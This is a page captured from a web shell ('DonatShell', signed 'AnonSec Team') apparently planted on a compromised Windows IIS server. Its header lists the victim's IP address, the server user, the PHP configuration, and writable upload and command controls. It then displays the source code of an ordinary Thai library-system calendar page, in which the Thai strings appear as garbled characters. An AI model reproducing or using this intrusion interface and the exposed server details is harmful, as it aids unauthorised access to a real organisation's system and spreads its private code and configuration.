DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/login.stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/login.stats/calendar.calendar.php
<?
include("../inc/config.inc.php");
html_start();

if(isset($prm) and $prm > 0) {
	$m=$prm;
} else {
	$m= date("m");
}

$a_day=60*60*24;
$lastbk_light=barcodeval_get("lastbackup-light-date");
$lastbk_full=barcodeval_get("lastbackup-full-date");
$lastbk_light=ymd_mkdt(date('d',$lastbk_light), date('m',$lastbk_light), date('Y',$lastbk_light));
$lastbk_full=ymd_mkdt(date('d',$lastbk_full), date('m',$lastbk_full), date('Y',$lastbk_full));
//$lastbk_light=floor($lastbk_light/$a_day)*$a_day;
//$lastbk_full=floor($lastbk_full/$a_day)*$a_day;

$bkcol_light="#9bd192";
$bkcol_full="#008040";

$d= date("d");     // Finds today's date
if(isset($y) and $y > 0) {
	//get y from query
} else {
	$y= date("Y");     // Finds today's year
}
$caldescr[]=array();

//db gather s
//$weeklyclose=tmq_dump("weeklyclose","dat","dat");
/*
	$s=tmq("select * from closeservice  where  mon=$m and (yea=$y or yea=$y+543 or yea=-1)");
	$byedb=array();
	while ($r=tmq_fetch_array($s)) {
		//print_r($r);
		$caldescr[$r[dat]][text]=getlang($r[descr]);
		$caldescr[$r[dat]][type]="bye";
	}
	*/
//db gather e
$no_of_days = date('t',mktime(0,0,0,$m,1,$y)); // This is to calculate number of days in a month

$j= date('w',mktime(0,0,0,$m,1,$y)); // This will calculate the week day of the first day of the month

for($k=1; $k<=$j; $k++){ // Adjustment of date starting
$adj .="<td style='border-width: 1;border-top-width: 0;border-left-width: 0; border-right-width: 0;'><B style='font-size: 2px;'>&nbsp;</B></td>";
}

/// Starting of top line showing name of the days of the week
$qm_back=floor($m)-1;
$qm_forward=floor($m)+1;
$qy_back=$y;
$qy_forward=$y;
if ($qm_back==0) {
	$qm_back=12;
	$qy_back=$qy_back-1;
}
if ($qm_forward==12) {
	$qm_forward=1;
	$qy_forward=$qy_forward+1;
}

echo "<table  width=100%  cellspacing='0' cellpadding='0' align=center  border='1'>

<td align=center class=table_head><font size='2' face='Tahoma'> <a href='calendar.calendar.php?prm=$qm_back&y=$qy_back'><</a> </td>

<td colspan=5 align=center class=table_head><font size='2' face='Tahoma'>".$thaimonstrbrief[floor($m)]." ".($y+543)." </td>

<td align=center class=table_head><font size='2' face='Tahoma'> <a href='calendar.calendar.php?prm=$qm_forward&y=$qy_forward'>></a> </td></tr><tr align=center>";

echo "<td><font size='2' face='Tahoma'><b>".$thaidayshortstr[0]."</b></font></td><td><font size='2' face='Tahoma'><b>".$thaidayshortstr[1]."</b></font></td><td><font size='2' face='Tahoma'><b>".$thaidayshortstr[2]."</b></font></td><td><font size='2' face='Tahoma'><b>".$thaidayshortstr[3]."</b></font></td><td><font size='2' face='Tahoma'><b>".$thaidayshortstr[4]."</b></font></td><td><font size='2' face='Tahoma'><b>".$thaidayshortstr[5]."</b></font></td><td><font size='2' face='Tahoma'><b>".$thaidayshortstr[6]."</b></font></td></tr><tr>";

////// End of the top line showing name of the days of the week//////////

//////// Starting of the days//////////
for($i=1;$i<=$no_of_days;$i++){
	$today=date("N",mktime(0, 0, 0, $m, $i, $y));
	$todaydt=mktime(0, 0, 0, $m, $i, $y);
	$bgcol="#FFFFFF";
	$brdr="";
	$bgimg="";
	$brdrs="solid";
	$brdrw=1;
	if ($i==$d && $m== date("m") && $y == date("Y")) {
		$caldescr[$i][text]="Çѹ¹Õé";
		$bgcol="#d4d4d4";
		$bgimg="blink.gif";
		$brdr="#000000";
		$brdrw=1;
	}
	if ($today==6) {
		$bgcol="#BFDFFF";
	}
	if ($today==7) {
		$bgcol="#FFB3B3";
	}
	if ($caldescr[$i][type]=="bye") {
		$bgcol="#F2CAFF";
		$brdr="#FF0000";
		$brdrw=2;
	}
	
	if ($weeklyclose[$today]!="" || $weeklyclose[$today-7]!="") {
		$brdr="#FF0000";
		$brdrw="2";
	}
	
	if ($todaydt==$lastbk_light) {
		$bgcol=$bkcol_light;
	}	
	if ($todaydt==$lastbk_full) {
		$bgcol=$bkcol_full;
	}		
	
echo $adj."<td valign=top align=center class=table_td style='background-color: $bgcol;
background-image: url($bgimg); 
border-color: $brdr; 
border-style: $brdrs;
border-width: 0;
border-bottom-width: $brdrw;  ' ";
	if ($caldescr[$i][text]!="") {
		echo "onmouseover=\"dsp('".($caldescr[$i][text])."')\" onmouseout=\"dsp('&nbsp;')\"";
	}
echo "><A HREF='calendar.dsp.php?yea=$y&mon=$m&dat=$i' target=caldsp><font size='2' style='font-size:12px;' face='Tahoma'>$i</A>"; // This will display the date inside the calendar cell
echo " </font></td>";
$adj='';
$j ++;
if($j==7){echo "</tr><tr>";
$j=0;}

}

echo "</tr></table>";
if ($m!= date("m") || $y != date("Y")) {
	echo "<center><font face='Verdana' size='2'><a href=calendar.calendar.php?clicked=$clicked>ä»Âѧà´×͹»Ñ¨¨ØºÑ¹</a></center></font>";
}

?><CENTER><span id="dsp"></span><BR><br />
<b><font color="<? echo $bkcol_light?>"  style="font-size: 10px;">Light Backup</font>, <font color="<? echo $bkcol_full?>"  style="font-size: 10px;">Full Backup</font></b>
</CENTER><SCRIPT LANGUAGE="JavaScript">
<!--
function dsp(txt) {
	document.all.dsp.innerHTML=txt;
}
//-->
</SCRIPT>

Anon7 - 2022
AnonSec Team